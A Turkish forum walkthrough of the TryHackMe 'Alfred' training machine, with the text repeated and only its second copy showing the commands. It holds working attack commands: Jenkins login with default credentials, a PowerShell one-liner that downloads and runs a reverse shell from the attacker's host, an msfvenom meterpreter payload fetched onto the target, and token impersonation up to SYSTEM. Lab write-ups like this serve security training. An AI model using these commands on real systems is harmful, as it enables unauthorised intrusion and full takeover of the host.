Herkese merhaba arkadaşlar. Bu konumuzda sizlerle beraber TryHackMe (THM) sitesinde bulunan Alfred isimli makineyi çözeceğiz. Hemen başlayalım.
Bilgi Toplama
Makineyi çözmeden önce bilgi toplamamız gerekiyor. Nmap aracımız ile bilgi topluyoruz.
Komutumuz;
Tarama yaptığımızda 80, 3389 ve 8080 portlarının açık olduğunu görüyoruz. İlk sorumuzda ise bize kaç adet portun açık olduğu soruluyor. Kısaca ilk sorunun cevabı " 3 " olarak bulmuş oluyoruz.
Şimdi devam edelim. Makinemizin 10.10.153.16:8080 adresine gidiyoruz. Bizi böyle bir sayfa karşılıyor. (Jenkins, ücretsiz ve açık kaynaklı bir otomasyon sunucusudur)
Varsayılan kullanıcı adı ve parola girildiğinde giriş yapabiliyoruz. Eğer giriş yapılmasaydı brute force saldırısı denenebilirdi. Varsayılan kullanıcı adı ve parolanın öğrenilmesi için googleda jenkins default credentials araması yapılabilir. Arama sonucunda username ve şifrenin admin/password olduğu gözükmekte. Ancak username ve şifre aslında admin/admin.
Admin paneline başarıyla giriş yaptık. Admin sayfasında herhangi bir proje sayfası oluşturulup konfigüre sekmesine gidiyoruz.
Konfigüre sayfasında sunucu tarafında windows komutları çalıştırılabiliyor. O yüzden powershell tcp dosyası yüklenerek çalıştırılabilir. Böylelikle netcat ile bağlantı kurularak kullanıcı yetkileri elde edilebilir.
Bunun için
komutuyla ihtiyaç duyduğumuz dosyayı indiriyoruz.
Komutumuz;
ile http server başlatıyoruz.
Komutumuz;
portunda dinleme başlatıyoruz.
Komutumuz;
ile powershell komutu çalıştırıldıktan sonra netcat bağlantısı kurulmuş olur.
Masaüstü dizinindeki user dosyası görüntülendiğinde ilk flaga ulaşmış oluyoruz.
Komutumuz;
ile yetki yükseltmek için msfvenom ile shell.exe adında payload oluşturuyoruz.
Komutumuz;
ile payload karşı tarafa yüklüyoruz.
İlerleyen aşamada meterpreter bağlantısı kuracağımız için msfconsole komutuyla m e t a sploit başlatılır ve gerekli konfigürasyon ayarlarını yapıyoruz.
Komutumuz;
ile payload çalıştırıyoruz.
Payload çalıştırıldıktan sonra ****sploitde sırasıyla run ve shell komutlarıyla meterpreter bağlantısını sağlıyoruz.
Komutumuz;
ile yetkilendirme ayrıcalıkları görüntüleyebiliyoruz. SeDebugPrivilege, SeImpersonatePrivilege yetkilerinin enabled olduğu görülüyor. Bu güvenlik açığı istismar edilebilir. Bunun için ****sploite geri dönüyoruz ve load incognito ile incognito modülünü başarıyla yüklüyoruz.
Administrators tokenını taklit edebilmek için
komutunu kullanıyoruz.
ps ile çalışan processler görüntüleyebiliriz.
migrate 668 ile 668 işlemine admin NT AUTHORITY\SYSTEM yetkileri ile erişilir.
Tekrardan shell olunduktan sonra config dizinine gidiyoruz ve root flagına da ulaşıyoruz. Bu sayede makinemizi de çözmüş oluyoruz.
Makinemizi çözdük.
Konumuzun sonuna geldik. Okuduğunuz için teşekkürler. Başka bir konuda görüşmek üzere! :Smiley1009:
Bilgi Toplama
Makineyi çözmeden önce bilgi toplamamız gerekiyor. Nmap aracımız ile bilgi topluyoruz.
Komutumuz;
Kod:
nmap -A -T4 makine ip
Tarama yaptığımızda 80, 3389 ve 8080 portlarının açık olduğunu görüyoruz. İlk sorumuzda ise bize kaç adet portun açık olduğu soruluyor. Kısaca ilk sorunun cevabı " 3 " olarak bulmuş oluyoruz.
Şimdi devam edelim. Makinemizin 10.10.153.16:8080 adresine gidiyoruz. Bizi böyle bir sayfa karşılıyor. (Jenkins, ücretsiz ve açık kaynaklı bir otomasyon sunucusudur)
Varsayılan kullanıcı adı ve parola girildiğinde giriş yapabiliyoruz. Eğer giriş yapılmasaydı brute force saldırısı denenebilirdi. Varsayılan kullanıcı adı ve parolanın öğrenilmesi için googleda jenkins default credentials araması yapılabilir. Arama sonucunda username ve şifrenin admin/password olduğu gözükmekte. Ancak username ve şifre aslında admin/admin.
Admin paneline başarıyla giriş yaptık. Admin sayfasında herhangi bir proje sayfası oluşturulup konfigüre sekmesine gidiyoruz.
Konfigüre sayfasında sunucu tarafında windows komutları çalıştırılabiliyor. O yüzden powershell tcp dosyası yüklenerek çalıştırılabilir. Böylelikle netcat ile bağlantı kurularak kullanıcı yetkileri elde edilebilir.
Bunun için
Kod:
wget https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
komutuyla ihtiyaç duyduğumuz dosyayı indiriyoruz.
Komutumuz;
Kod:
sudo python3 -m http.server 80
ile http server başlatıyoruz.
Komutumuz;
Kod:
nc -lvnp 4444
portunda dinleme başlatıyoruz.
Komutumuz;
Kod:
powershell invoke-expression (New-Object Net.WebClient).DownloadString(http://10.11.3.198/Invoke-PowerShellTcp.ps1);Invoke-PowerShellTcp -Reverse -IPAddress 10.9.153.179 -Port 4444
ile powershell komutu çalıştırıldıktan sonra netcat bağlantısı kurulmuş olur.
Masaüstü dizinindeki user dosyası görüntülendiğinde ilk flaga ulaşmış oluyoruz.
Komutumuz;
Kod:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 encoder x86/shikata_ga_nai LHOST=10.9.153.179 LPORT=4444-f exe -o shell.exe
ile yetki yükseltmek için msfvenom ile shell.exe adında payload oluşturuyoruz.
Komutumuz;
Kod:
powershell (new-object system.net.webclient).downloadfile(http://10.9.153.179:80/shell.exe,shell.exe)
ile payload karşı tarafa yüklüyoruz.
İlerleyen aşamada meterpreter bağlantısı kuracağımız için msfconsole komutuyla m e t a sploit başlatılır ve gerekli konfigürasyon ayarlarını yapıyoruz.
Komutumuz;
Kod:
Start-Process shell.exe
ile payload çalıştırıyoruz.
Payload çalıştırıldıktan sonra ****sploitde sırasıyla run ve shell komutlarıyla meterpreter bağlantısını sağlıyoruz.
Komutumuz;
Kod:
whoami /priv
ile yetkilendirme ayrıcalıkları görüntüleyebiliyoruz. SeDebugPrivilege, SeImpersonatePrivilege yetkilerinin enabled olduğu görülüyor. Bu güvenlik açığı istismar edilebilir. Bunun için ****sploite geri dönüyoruz ve load incognito ile incognito modülünü başarıyla yüklüyoruz.
Administrators tokenını taklit edebilmek için
Kod:
impersonate_token BUILTIN \ Administrators
komutunu kullanıyoruz.
ps ile çalışan processler görüntüleyebiliriz.
migrate 668 ile 668 işlemine admin NT AUTHORITY\SYSTEM yetkileri ile erişilir.
Tekrardan shell olunduktan sonra config dizinine gidiyoruz ve root flagına da ulaşıyoruz. Bu sayede makinemizi de çözmüş oluyoruz.
Makinemizi çözdük.
Konumuzun sonuna geldik. Okuduğunuz için teşekkürler. Başka bir konuda görüşmek üzere! :Smiley1009:
Son düzenleme: